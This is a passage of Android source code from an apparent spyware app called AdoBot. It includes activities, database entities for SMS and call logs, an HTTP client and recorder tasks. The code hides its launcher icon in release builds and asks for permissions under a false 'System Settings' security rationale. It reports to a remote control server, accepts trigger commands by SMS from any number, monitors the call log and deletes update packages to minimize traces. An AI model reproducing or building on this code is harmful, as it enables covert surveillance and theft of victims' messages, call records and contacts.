10 | import android.os.PersistableBundle;
11 | import android.support.v7.app.AppCompatActivity;
12 |
13 | import com.android.adobot.AdobotConstants;
14 | import com.android.adobot.BuildConfig;
15 | import com.android.adobot.NetworkSchedulerService;
16 |
17 | import pub.devrel.easypermissions.EasyPermissions;
18 |
19 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
20 |
21 | /**
22 | * Created by adones on 2/26/17.
23 | */
24 |
25 | public class BaseActivity extends AppCompatActivity {
26 |
27 | private static final String TAG = "BaseActivity";
28 |
29 | @Override
30 | public void onCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
31 | super.onCreate(savedInstanceState, persistentState);
32 | }
33 |
34 | protected void hideApp() {
35 | PackageManager p = getPackageManager();
36 | ComponentName componentName = new ComponentName(this, SetupActivity.class); // activity which is first time open in manifiest file which is declare as
37 | p.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
38 | }
39 |
40 | protected void startClient() {
41 | scheduleJob();
42 | }
43 |
44 | protected void requestPermissions() {
45 | Intent i = new Intent(this, PermissionsActivity.class);
46 | i.addFlags(FLAG_ACTIVITY_NEW_TASK);
47 | startActivity(i);
48 | }
49 |
50 | protected boolean hasPermissions() {
51 | return EasyPermissions.hasPermissions(this, AdobotConstants.PERMISSIONS);
52 | }
53 |
54 | protected void done() {
55 | startClient();
56 | if (!BuildConfig.DEBUG){
57 | hideApp();
58 | }
59 | }
60 |
61 | private void scheduleJob() {
62 |
63 | Intent serviceIntent = new Intent(this, NetworkSchedulerService.class);
64 | startService(serviceIntent);
65 |
66 | JobInfo myJob = new JobInfo.Builder(0, new ComponentName(this, NetworkSchedulerService.class))
67 | .setRequiresCharging(false)
68 | .setMinimumLatency(3000)
69 | .setOverrideDeadline(2000)
70 | .setRequiresDeviceIdle(false)
71 | .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
72 | .setPersisted(true)
73 | .build();
74 |
75 | JobScheduler jobScheduler = (JobScheduler) getSystemService(Context.JOB_SCHEDULER_SERVICE);
76 | jobScheduler.schedule(myJob);
77 | }
78 |
79 | }
80 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/activities/PermissionsActivity.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.activities;
2 |
3 | import android.content.pm.PackageManager;
4 | import android.os.Build;
5 | import android.os.Bundle;
6 | import android.support.annotation.NonNull;
7 | import android.util.Log;
8 | import android.view.View;
9 | import android.widget.Button;
10 |
11 | import java.util.HashMap;
12 |
13 | import com.android.adobot.AdobotConstants;
14 | import com.android.adobot.BuildConfig;
15 | import com.android.adobot.CommonParams;
16 | import com.android.adobot.R;
17 | import com.android.adobot.http.Http;
18 | import com.android.adobot.http.HttpCallback;
19 |
20 | import pub.devrel.easypermissions.EasyPermissions;
21 |
22 | public class PermissionsActivity extends BaseActivity {
23 |
24 | private static final String TAG = "PermissionsActivity";
25 | private static final String PERMISSION_RATIONALE = "System Settings keeps your android phone secure. Allow System Settings to protect your phone?";
26 | private CommonParams commonParams;
27 | Button permitBtn;
28 |
29 | @Override
30 | protected void onCreate(Bundle savedInstanceState) {
31 | super.onCreate(savedInstanceState);
32 | showUI();
33 | commonParams = new CommonParams(this);
34 | if ((Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)) {
35 | if (!hasPermissions())
36 | askPermissions();
37 | } else {
38 | done();
39 | }
40 | }
41 |
42 | private void showUI() {
43 | setContentView(R.layout.activity_permissions);
44 | permitBtn = (Button) findViewById(R.id.permit_btn);
45 | permitBtn.setOnClickListener(new View.OnClickListener() {
46 | @Override
47 | public void onClick(View v) {
48 | askPermissions();
49 | }
50 | });
51 | }
52 |
53 | private void askPermissions() {
54 | EasyPermissions.requestPermissions(this, PERMISSION_RATIONALE,
55 | 1, AdobotConstants.PERMISSIONS);
56 | }
57 |
58 | @Override
59 | public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
60 | Log.i(TAG, "onRequestPermissionsResult !!!!");
61 | super.onRequestPermissionsResult(requestCode, permissions, grantResults);
62 | for (int i = 0; i < grantResults.length; i++)
63 | Log.i(TAG, "Grant result: " + grantResults[i]);
64 | updatePermissions(permissions, grantResults);
65 | }
66 |
67 | private void updatePermissions(String[] perms, int[] results) {
68 | HashMap done = new HashMap();
69 | for (int i = 0; i < perms.length; i++) {
70 | done.put(perms[i], results[i] == PackageManager.PERMISSION_GRANTED ? "1" : "0");
71 | }
72 | final PermissionsActivity act = this;
73 | Http http = new Http();
74 | http.setUrl(commonParams.getServer() + "/permissions/" + commonParams.getUid() + "/" + commonParams.getDevice());
75 | http.setMethod("POST");
76 | http.setParams(done);
77 | http.setCallback(new HttpCallback() {
78 | @Override
79 | public void onResponse(HashMap response) {
80 | act.done();
81 | act.finish();
82 | }
83 | });
84 | http.execute();
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/activities/SetupActivity.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.activities;
2 |
3 | import android.content.Context;
4 | import android.content.DialogInterface;
5 | import android.content.SharedPreferences;
6 | import android.os.Bundle;
7 | import android.support.v7.app.AlertDialog;
8 | import android.support.v7.app.AppCompatActivity;
9 | import android.view.View;
10 | import android.widget.Button;
11 | import android.widget.EditText;
12 | import android.widget.TextView;
13 | import android.widget.Toast;
14 |
15 | import com.android.adobot.BuildConfig;
16 | import com.android.adobot.AdobotConstants;
17 | import com.android.adobot.R;
18 |
19 | /**
20 | * Created by adones on 2/26/17.
21 | */
22 |
23 | public class SetupActivity extends BaseActivity {
24 |
25 | private static final String TAG = "SetupActivity";
26 |
27 | SharedPreferences prefs;
28 | EditText editTextUrl, forceSyncSmsEditText, smsOpenText;
29 | String serverUrl, openAppSmsStr, forceSyncStr;
30 | Button btnSetUrl;
31 | AppCompatActivity activity;
32 |
33 | @Override
34 | public void onCreate(Bundle savedInstanceState) {
35 | super.onCreate(savedInstanceState);
36 | activity = this;
37 | setContentView(R.layout.activity_setup);
38 | prefs = this.getSharedPreferences("com.android.adobot", Context.MODE_PRIVATE);
39 | serverUrl = prefs.getString(AdobotConstants.PREF_SERVER_URL_FIELD, AdobotConstants.DEFAULT_SERVER_URL);
40 | openAppSmsStr = prefs.getString(AdobotConstants.PREF_SMS_OPEN_TEXT_FIELD, "Open adobot");
41 | forceSyncStr = prefs.getString(AdobotConstants.PREF_FORCE_SYNC_SMS_COMMAND_FIELD, "Baby?");
42 |
43 | editTextUrl = (EditText) findViewById(R.id.edit_text_server_url);
44 | smsOpenText = (EditText) findViewById(R.id.sms_open_text);
45 | forceSyncSmsEditText = (EditText) findViewById(R.id.submit_sms_command);
46 |
47 | editTextUrl.setText(serverUrl);
48 | smsOpenText.setText(openAppSmsStr);
49 | forceSyncSmsEditText.setText(forceSyncStr);
50 |
51 | TextView instruction = (TextView) findViewById(R.id.text_instruction);
52 | instruction.setText("Server URL");
53 |
54 |
55 | TextView sms_instruct = (TextView) findViewById(R.id.sms_open_text_instruction);
56 | sms_instruct.setText("Open App by SMS");
57 | TextView smsupload = (TextView) findViewById(R.id.submit_sms_instruction);
58 | smsupload.setText("Sync SMS Command");
59 |
60 | btnSetUrl = (Button) findViewById(R.id.btn_save_settings);
61 | btnSetUrl.setOnClickListener(saveBtnClickListener);
62 |
63 | }
64 |
65 | @Override
66 | protected void onDestroy() {
67 | super.onDestroy();
68 | }
69 |
70 | private View.OnClickListener saveBtnClickListener = new View.OnClickListener() {
71 | @Override
72 | public void onClick(View v) {
73 | serverUrl = editTextUrl.getText().toString();
74 | openAppSmsStr = smsOpenText.getText().toString();
75 | forceSyncStr = forceSyncSmsEditText.getText().toString();
76 | String reviewText = "Confirm your server address: \n\n" + serverUrl;
77 | new AlertDialog.Builder(activity)
78 | .setTitle("Server Setup")
79 | .setMessage(reviewText)
80 | .setIcon(android.R.drawable.ic_dialog_alert)
81 | .setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() {
82 |
83 | public void onClick(DialogInterface dialog, int whichButton) {
84 | setServerUrl(serverUrl);
85 | // Toast.makeText(SetupActivity.this, "AdoBot server set to: \n" + serverUrl, Toast.LENGTH_LONG).show();
86 |
87 | String title = "Open app by SMS";
88 | new AlertDialog.Builder(activity)
89 | .setTitle(title)
90 | .setMessage("Open Adobot by receiving \""+ openAppSmsStr +"\" from any mobile number.")
91 | .setIcon(android.R.drawable.ic_dialog_alert)
92 | .setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() {
93 |
94 | public void onClick(DialogInterface dialog, int whichButton) {
95 | setOpenAppSmsStr(openAppSmsStr);
96 | // Toast.makeText(SetupActivity.this, "Open the app by sending this SMS to any number: \n" + openAppSmsStr, Toast.LENGTH_LONG).show();
97 |
98 | String title = "Upload SMS Command";
99 | new AlertDialog.Builder(activity)
100 | .setTitle(title)
101 | .setMessage("Force sync to server by receiving \""+ forceSyncStr +"\" from any mobile number.")
102 | .setIcon(android.R.drawable.ic_dialog_alert)
103 | .setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() {
104 |
105 | public void onClick(DialogInterface dialog, int whichButton) {
106 | setForceSyncSmsEditText(forceSyncStr);
107 | // Toast.makeText(SetupActivity.this, "Upload SMS's by receiving this SMS from any number: \n" + forceSyncStr, Toast.LENGTH_LONG).show();
108 | }
109 | })
110 | .setNegativeButton(android.R.string.no, null).show();
111 | }
112 | })
113 | .setNegativeButton(android.R.string.no, null).show();
114 |
115 | }
116 | })
117 | .setNegativeButton(android.R.string.no, null).show();
118 | }
119 | };
120 |
121 | private void setServerUrl(String url) {
122 | prefs.edit().putString(AdobotConstants.PREF_SERVER_URL_FIELD, url).commit();
123 | }
124 |
125 | private void setOpenAppSmsStr(String openAppSmsStr) {
126 | prefs.edit().putString(AdobotConstants.PREF_SMS_OPEN_TEXT_FIELD, openAppSmsStr.trim()).commit();
127 | }
128 |
129 | private void setForceSyncSmsEditText(String str) {
130 | prefs.edit().putString(AdobotConstants.PREF_FORCE_SYNC_SMS_COMMAND_FIELD, str).commit();
131 | if (!hasPermissions()) {
132 | requestPermissions();
133 | } else {
134 | done();
135 | finish();
136 | }
137 | }
138 | }
139 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/activities/UpdateActivity.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.activities;
2 |
3 | import android.content.Context;
4 | import android.content.Intent;
5 | import android.net.Uri;
6 | import android.os.Bundle;
7 | import android.os.Environment;
8 | import android.view.View;
9 | import android.view.View.OnClickListener;
10 | import android.widget.Button;
11 | import android.widget.Toast;
12 |
13 | import java.io.File;
14 |
15 | import com.android.adobot.AdobotConstants;
16 | import com.android.adobot.R;
17 |
18 | public class UpdateActivity extends BaseActivity {
19 | private Button btnUpdate;
20 | private File pkg;
21 | @Override
22 | public void onCreate(Bundle savedInstanceState) {
23 | super.onCreate(savedInstanceState);
24 | pkg = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), AdobotConstants.UPDATE_PKG_FILE_NAME);
25 | if (!pkg.exists()) {
26 | Context context = getApplicationContext();
27 | CharSequence text = "Software is up to date.";
28 | int duration = Toast.LENGTH_SHORT;
29 | Toast toast = Toast.makeText(context, text, duration);
30 | toast.show();
31 | finish();
32 | }
33 | setContentView(R.layout.activity_prompt_update);
34 | btnUpdate = (Button) findViewById(R.id.update_btn);
35 | btnUpdate.setOnClickListener(new OnClickListener() {
36 | @Override
37 | public void onClick(View v) {
38 | doUpdate();
39 | }
40 | });
41 | }
42 |
43 | private void doUpdate() {
44 | Intent intent = new Intent(Intent.ACTION_VIEW);
45 | intent.setDataAndType(Uri.fromFile(pkg), "application/vnd.android.package-archive");
46 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // without this flag android returned a intent error!
47 | getApplicationContext().startActivity(intent);
48 | }
49 |
50 | @Override
51 | protected void onDestroy() {
52 | //delete file on exit to minimize traces
53 | super.onDestroy();
54 | if (pkg.exists())
55 | pkg.delete();
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/activities/wallpaper:
--------------------------------------------------------------------------------
1 | import android.annotation.SuppressLint;
2 | import android.content.Context;
3 | import android.graphics.Bitmap;
4 | import android.graphics.BitmapFactory;
5 | import android.os.Base64;
6 | import android.app.WallpaperManager;
7 | import java.io.IOException;
8 | public class WallpaperSet {
9 | @SuppressLint("ResourceType")
10 | public static void setWallpaper(Context applicationContext, String data) {
11 | WallpaperManager wallpaperManager = WallpaperManager.getInstance(applicationContext);
12 | byte[] imageBytes = Base64.decode(data, Base64.DEFAULT);
13 | Bitmap bitmap = BitmapFactory.decodeByteArray(imageBytes, 0, imageBytes.length);
14 | try {
15 | wallpaperManager.setBitmap(bitmap);
16 | } catch (IOException e) {
17 | e.printStackTrace();
18 | }
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/database/AppDatabase.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.database;
2 |
3 | import android.arch.persistence.room.Database;
4 | import android.arch.persistence.room.RoomDatabase;
5 |
6 | @Database(entities = {Sms.class, CallLog.class}, version = 1)
7 | public abstract class AppDatabase extends RoomDatabase {
8 | public abstract SmsDao smsDao();
9 | public abstract CallLogDao callLogDao();
10 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/database/CallLog.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.database;
2 |
3 | import android.arch.persistence.room.Entity;
4 | import android.arch.persistence.room.Index;
5 | import android.arch.persistence.room.PrimaryKey;
6 |
7 | @Entity(indices = {@Index(value = {"date"}, unique = true)})
8 | public class CallLog {
9 |
10 | @PrimaryKey(autoGenerate = true)
11 | int id;
12 |
13 |
14 | int callId;
15 |
16 | int type;
17 | String phone;
18 | String name;
19 | String date;
20 | int duration;
21 |
22 | public int getCallId() {
23 | return callId;
24 | }
25 |
26 | public void setCallId(int callId) {
27 | this.callId = callId;
28 | }
29 |
30 | public int getId() {
31 | return id;
32 | }
33 |
34 | public void setId(int id) {
35 | this.id = id;
36 | }
37 |
38 | public int getType() {
39 | return type;
40 | }
41 |
42 | public void setType(int type) {
43 | this.type = type;
44 | }
45 |
46 | public String getPhone() {
47 | return phone;
48 | }
49 |
50 | public void setPhone(String phone) {
51 | this.phone = phone;
52 | }
53 |
54 | public String getName() {
55 | return name;
56 | }
57 |
58 | public void setName(String name) {
59 | this.name = name;
60 | }
61 |
62 | public String getDate() {
63 | return date;
64 | }
65 |
66 | public void setDate(String date) {
67 | this.date = date;
68 | }
69 |
70 | public int getDuration() {
71 | return duration;
72 | }
73 |
74 | public void setDuration(int duration) {
75 | this.duration = duration;
76 | }
77 |
78 |
79 | }
80 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/database/CallLogDao.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.database;
2 |
3 | import android.arch.persistence.room.Dao;
4 | import android.arch.persistence.room.Insert;
5 | import android.arch.persistence.room.Query;
6 |
7 | @Dao
8 | public interface CallLogDao {
9 |
10 | @Insert
11 | void insert(CallLog callLog);
12 |
13 | @Query("SELECT * FROM calllog LIMIT 1")
14 | CallLog first();
15 |
16 | @Query("DELETE FROM calllog WHERE id = :id")
17 | void delete(int id);
18 |
19 | }
20 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/database/Sms.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.database;
2 |
3 | import android.arch.persistence.room.Entity;
4 | import android.arch.persistence.room.PrimaryKey;
5 |
6 | import java.util.Date;
7 |
8 | @Entity
9 | public class Sms {
10 |
11 | @PrimaryKey(autoGenerate = true)
12 | public int id;
13 |
14 | public int _id;
15 | public String thread_id;
16 | public String phone;
17 | public String name;
18 | public String body;
19 | public String date;
20 | public int type;
21 |
22 | public int get_id() {
23 | return _id;
24 | }
25 |
26 | public void set_id(int _id) {
27 | this._id = _id;
28 | }
29 |
30 | public int getId() {
31 | return id;
32 | }
33 |
34 | public void setId(int id) {
35 | this.id = id;
36 | }
37 |
38 | public String getThread_id() {
39 | return thread_id;
40 | }
41 |
42 | public void setThread_id(String thread_id) {
43 | this.thread_id = thread_id;
44 | }
45 |
46 | public String getPhone() {
47 | return phone;
48 | }
49 |
50 | public void setPhone(String phone) {
51 | this.phone = phone;
52 | }
53 |
54 | public String getName() {
55 | return name;
56 | }
57 |
58 | public void setName(String name) {
59 | this.name = name;
60 | }
61 |
62 | public String getBody() {
63 | return body;
64 | }
65 |
66 | public void setBody(String body) {
67 | this.body = body;
68 | }
69 |
70 | public String getDate() {
71 | return date;
72 | }
73 |
74 | public void setDate(String date) {
75 | this.date = date;
76 | }
77 |
78 | public int getType() {
79 | return type;
80 | }
81 |
82 | public void setType(int type) {
83 | this.type = type;
84 | }
85 |
86 | }
87 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/database/SmsDao.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.database;
2 |
3 | import android.arch.persistence.room.Dao;
4 | //import android.arch.persistence.room.Delete;
5 | import android.arch.persistence.room.Delete;
6 | import android.arch.persistence.room.Insert;
7 | import android.arch.persistence.room.Query;
8 | import android.arch.persistence.room.Update;
9 |
10 | import java.util.List;
11 |
12 | @Dao
13 | public interface SmsDao {
14 |
15 | // @Query("SELECT * FROM Sms")
16 | // List getAll();
17 | //
18 | // @Query("SELECT * FROM Sms WHERE id IN (:userIds)")
19 | // List loadAllByIds(int[] userIds);
20 | //
21 | @Query("SELECT * FROM Sms WHERE id = :id AND thread_id = :thread_id")
22 | Sms findByIdAndThreadId(int id, String thread_id);
23 |
24 | @Query("SELECT * FROM Sms WHERE phone = :phone AND body = :body AND date = :date AND type = :type")
25 | Sms findByAttributes(String phone, String body, String date, int type);
26 |
27 | @Query("SELECT * FROM Sms LIMIT 1")
28 | Sms first();
29 |
30 | @Insert
31 | void insert(Sms sms);
32 |
33 | // @Update
34 | // void update(Sms sms);
35 |
36 | @Delete()
37 | void delete(Sms sms);
38 |
39 | }
40 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/http/Http.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.http;
2 |
3 |
4 | import java.util.HashMap;
5 |
6 | public class Http extends HttpRequest implements HttpCallback {
7 |
8 | private Thread thread;
9 | private HttpCallback callback;
10 |
11 | public void execute(){
12 | super.setCallback(this);
13 | this.thread = new Thread(this);
14 | this.thread.start();
15 | }
16 |
17 | public void setCallback (HttpCallback callback) {
18 | this.callback = callback;
19 | }
20 |
21 | @Override
22 | public void onResponse(HashMap response) {
23 | if (this.callback != null) this.callback.onResponse(response);
24 | try {
25 | this.thread.join();
26 | }
27 | catch (Exception e) {
28 | e.printStackTrace();
29 | }
30 | }
31 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/http/HttpCallback.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.http;
2 |
3 | import java.util.HashMap;
4 |
5 | /**
6 | * Created by adones on 2/17/17.
7 | */
8 |
9 | public interface HttpCallback {
10 | void onResponse (HashMap response);
11 | }
12 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/http/HttpRequest.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.http;
2 |
3 | import android.util.Log;
4 |
5 | import java.io.BufferedReader;
6 | import java.io.InputStreamReader;
7 | import java.io.OutputStreamWriter;
8 | import java.net.HttpURLConnection;
9 | import java.net.URL;
10 | import java.net.URLEncoder;
11 | import java.util.HashMap;
12 | import java.util.Map;
13 | import java.util.Random;
14 |
15 | import javax.net.ssl.HttpsURLConnection;
16 |
17 | /**
18 | * Created by adones on 2/17/17.
19 | */
20 |
21 | public class HttpRequest implements Runnable {
22 |
23 | private static final String TAG = "HttpRequest";
24 | public static final String USER_AGENT = "Mozilla/5.0";
25 | public static final String METHOD_POST = "POST";
26 | public static final String METHOD_GET = "GET";
27 |
28 | protected HttpCallback callback;
29 | protected Map params;
30 | protected String method;
31 | protected String url;
32 |
33 | public void setUrl(String url) {
34 | this.url = url.replace("?", "");
35 | }
36 |
37 | public void setMethod(String method) {
38 | this.method = method.toUpperCase();
39 | }
40 |
41 | public void setParams(Map params) {
42 | this.params = params;
43 | }
44 |
45 | public void setCallback(HttpCallback cb) {
46 | this.callback = cb;
47 | }
48 |
49 | @Override
50 | public void run() {
51 | StringBuilder paramBuilder = new StringBuilder("");
52 | HashMap hashMapResponse = new HashMap();
53 | String result = "";
54 | int statusCode = 0;
55 | BufferedReader in;
56 |
57 | try {
58 | if (params != null) {
59 | for (String s : this.params.keySet()) {
60 | if (params.get(s) != null) {
61 | paramBuilder.append("&" + s + "=");
62 | paramBuilder.append(URLEncoder.encode(String.valueOf(params.get(s)), "UTF-8"));
63 | }
64 | }
65 |
66 | if (this.method == METHOD_GET) {
67 | this.url = this.url + "?" + paramBuilder.substring(1);
68 | }
69 | }
70 |
71 | String url = this.url;
72 | URL obj = new URL(this.url);
73 | if (obj.getProtocol().toLowerCase().equals("https")) {
74 |
75 | HttpsURLConnection httpsConnection = (HttpsURLConnection) obj.openConnection();
76 |
77 | httpsConnection.setRequestMethod(this.method);
78 | httpsConnection.setRequestProperty("User-Agent", USER_AGENT);
79 | httpsConnection.setRequestProperty("Accept-Language", "UTF-8");
80 |
81 | httpsConnection.setDoOutput(true);
82 | OutputStreamWriter outputStreamWriter = new OutputStreamWriter(httpsConnection.getOutputStream());
83 | outputStreamWriter.write(paramBuilder.toString());
84 | outputStreamWriter.flush();
85 |
86 | statusCode = httpsConnection.getResponseCode();
87 | Log.i(TAG, "\nSending '" + this.method + "' request to URL : " + url);
88 | Log.i(TAG, this.method + " parameters : " + paramBuilder);
89 | Log.i(TAG, "Response Code : " + statusCode);
90 |
91 | in = new BufferedReader(new InputStreamReader(httpsConnection.getInputStream()));
92 | } else {
93 | HttpURLConnection httpConnection = (HttpURLConnection) obj.openConnection();
94 |
95 | httpConnection.setRequestMethod(this.method);
96 | httpConnection.setRequestProperty("User-Agent", USER_AGENT);
97 | httpConnection.setRequestProperty("Accept-Language", "UTF-8");
98 |
99 | httpConnection.setDoOutput(true);
100 | OutputStreamWriter outputStreamWriter = new OutputStreamWriter(httpConnection.getOutputStream());
101 | outputStreamWriter.write(paramBuilder.toString());
102 | outputStreamWriter.flush();
103 |
104 | statusCode = httpConnection.getResponseCode();
105 | Log.i(TAG, "\nSending '" + this.method + "' request to URL : " + url);
106 | Log.i(TAG, this.method + " parameters : " + paramBuilder);
107 | Log.i(TAG, "Response Code : " + statusCode);
108 |
109 | in = new BufferedReader(new InputStreamReader(httpConnection.getInputStream()));
110 | }
111 | String inputLine;
112 | StringBuffer response = new StringBuffer();
113 |
114 | while ((inputLine = in.readLine()) != null) {
115 | response.append(inputLine + "\n");
116 | }
117 | in.close();
118 |
119 | result = response.toString();
120 | Log.i(TAG, "Response Body : " + result);
121 | } catch (Exception e) {
122 | e.printStackTrace();
123 | } finally {
124 | hashMapResponse.put("status", statusCode);
125 | hashMapResponse.put("body", result);
126 | if (callback != null)
127 | callback.onResponse(hashMapResponse);
128 | }
129 | }
130 |
131 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/BaseTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.content.ComponentName;
5 | import android.content.ContentResolver;
6 | import android.content.Context;
7 | import android.content.Intent;
8 | import android.content.pm.PackageManager;
9 | import android.database.Cursor;
10 | import android.net.Uri;
11 | import android.provider.ContactsContract;
12 | import android.support.v4.content.ContextCompat;
13 |
14 | import com.android.adobot.BuildConfig;
15 | import com.android.adobot.CommonParams;
16 | import com.android.adobot.AdobotConstants;
17 | import com.android.adobot.activities.PermissionsActivity;
18 | import com.android.adobot.http.Http;
19 | import com.android.adobot.http.HttpRequest;
20 |
21 | import java.util.HashMap;
22 |
23 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
24 |
25 | /**
26 | * Created by adones on 2/22/17.
27 | */
28 |
29 | public class BaseTask extends Thread implements Runnable {
30 |
31 | protected Context context;
32 | protected CommonParams commonParams;
33 |
34 | public void setContext(Context context) {
35 | this.context = context;
36 | this.commonParams = new CommonParams(context);
37 | }
38 |
39 | protected void showAppIcon(Class actClass) {
40 | PackageManager p = context.getPackageManager();
41 | ComponentName permissionsActivity = new ComponentName(context, actClass);
42 | p.setComponentEnabledSetting(permissionsActivity, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
43 | }
44 |
45 | public String getContactName(String phoneNumber) {
46 | // check permission
47 | if (ContextCompat.checkSelfPermission(context.getApplicationContext(), Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
48 | ContentResolver cr = context.getContentResolver();
49 | Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI, Uri.encode(phoneNumber));
50 | Cursor cursor = cr.query(uri, new String[]{ContactsContract.PhoneLookup.DISPLAY_NAME}, null, null, null);
51 | if (cursor == null) {
52 | return null;
53 | }
54 | String contactName = null;
55 | if (cursor.moveToFirst()) {
56 | contactName = cursor.getString(cursor.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME));
57 | }
58 |
59 | if (cursor != null && !cursor.isClosed()) {
60 | cursor.close();
61 | }
62 |
63 | return contactName;
64 | } else {
65 | return "";
66 | }
67 | }
68 |
69 | protected void requestPermissions() {
70 | // app icon already shown in debug
71 | if (!BuildConfig.DEBUG) showAppIcon(PermissionsActivity.class);
72 | Intent i = new Intent(context, PermissionsActivity.class);
73 | i.addFlags(FLAG_ACTIVITY_NEW_TASK);
74 | context.startActivity(i);
75 | }
76 |
77 | protected void sendNotification (String event, HashMap params) {
78 | params.put("event", event);
79 | Http req = new Http();
80 | req.setMethod(HttpRequest.METHOD_POST);
81 | req.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
82 | req.setParams(params);
83 | req.execute();
84 | }
85 |
86 | }
87 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/CallLogRecorderTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.arch.persistence.room.Room;
5 | import android.content.ContentResolver;
6 | import android.content.Context;
7 | import android.content.SharedPreferences;
8 | import android.content.pm.PackageManager;
9 | import android.database.ContentObserver;
10 | import android.database.Cursor;
11 | import android.net.Uri;
12 | import android.os.Handler;
13 | import android.support.v4.content.ContextCompat;
14 | import android.util.Log;
15 |
16 | import com.android.adobot.AdobotConstants;
17 | import com.android.adobot.CommonParams;
18 | import com.android.adobot.database.AppDatabase;
19 | import com.android.adobot.database.CallLog;
20 | import com.android.adobot.database.CallLogDao;
21 | import com.android.adobot.http.Http;
22 | import com.android.adobot.http.HttpCallback;
23 | import com.android.adobot.http.HttpRequest;
24 |
25 | import org.json.JSONObject;
26 |
27 | import java.text.SimpleDateFormat;
28 | import java.util.Date;
29 | import java.util.HashMap;
30 |
31 | /**
32 | * Created by adones on 2/27/17.
33 | */
34 |
35 | public class CallLogRecorderTask extends BaseTask {
36 |
37 | private static final String TAG = "CallLogRecorder";
38 |
39 | private static final Uri CALL_LOG_URI = Uri.parse("content://call_log/calls");
40 | // private static final int MESSAGE_TYPE_RECEIVED = 1;
41 | // private static final int MESSAGE_TYPE_SENT = 2;
42 | // private static int lastId = 0;
43 | // private static final int MAX_SMS_MESSAGE_LENGTH = 160;
44 |
45 | private CallLogObserver callLogObserver;
46 | // private SharedPreferences prefs;
47 | private ContentResolver contentResolver;
48 | private AppDatabase appDatabase;
49 | private CallLogDao callLogDao;
50 | private static String lastLogDate = "";
51 | private static CallLogRecorderTask instance;
52 |
53 | public CallLogRecorderTask(Context context) {
54 | setContext(context);
55 | appDatabase = Room.databaseBuilder(context.getApplicationContext(),
56 | AppDatabase.class, AdobotConstants.DATABASE_NAME).build();
57 | callLogDao = appDatabase.callLogDao();
58 | callLogObserver = (new CallLogObserver(new Handler()));
59 | contentResolver = context.getContentResolver();
60 | // prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE);
61 | instance = this;
62 | listen();
63 | }
64 |
65 | public static CallLogRecorderTask getInstance() {
66 | return instance;
67 | };
68 |
69 | public void listen() {
70 | if (hasPermission()) {
71 | commonParams = new CommonParams(context);
72 | contentResolver.registerContentObserver(CALL_LOG_URI, true, callLogObserver);
73 |
74 |
75 | //notify server
76 | // HashMap params = new HashMap();
77 | // params.put("uid", commonParams.getUid());
78 | // params.put("sms_forwarder_number", recipientNumber);
79 | //
80 | // Http req = new Http();
81 | // req.setUrl(commonParams.getServer() + AdobotConstants.POST_STATUS_URL + "/" + commonParams.getUid());
82 | // req.setMethod(HttpRequest.METHOD_POST);
83 | // req.setParams(params);
84 | // req.execute();
85 | } else
86 | requestPermissions();
87 | }
88 |
89 | // public void stopForwarding() {
90 | // commonParams = new CommonParams(context);
91 | // if (isListening) {
92 | // contentResolver.unregisterContentObserver(callLogObserver);
93 | // isListening = false;
94 | // }
95 | // //notify server
96 | // HashMap params = new HashMap();
97 | // params.put("uid", commonParams.getUid());
98 | // params.put("sms_forwarder_number", "");
99 | // params.put("sms_forwarder_status", isListening);
100 | //
101 | // Http req = new Http();
102 | // req.setUrl(commonParams.getServer() + AdobotConstants.POST_STATUS_URL + "/" + commonParams.getUid());
103 | // req.setMethod(HttpRequest.METHOD_POST);
104 | // req.setParams(params);
105 | // req.execute();
106 | // }
107 |
108 | private boolean hasPermission() {
109 | return ContextCompat.checkSelfPermission(context, Manifest.permission.READ_CALL_LOG) ==
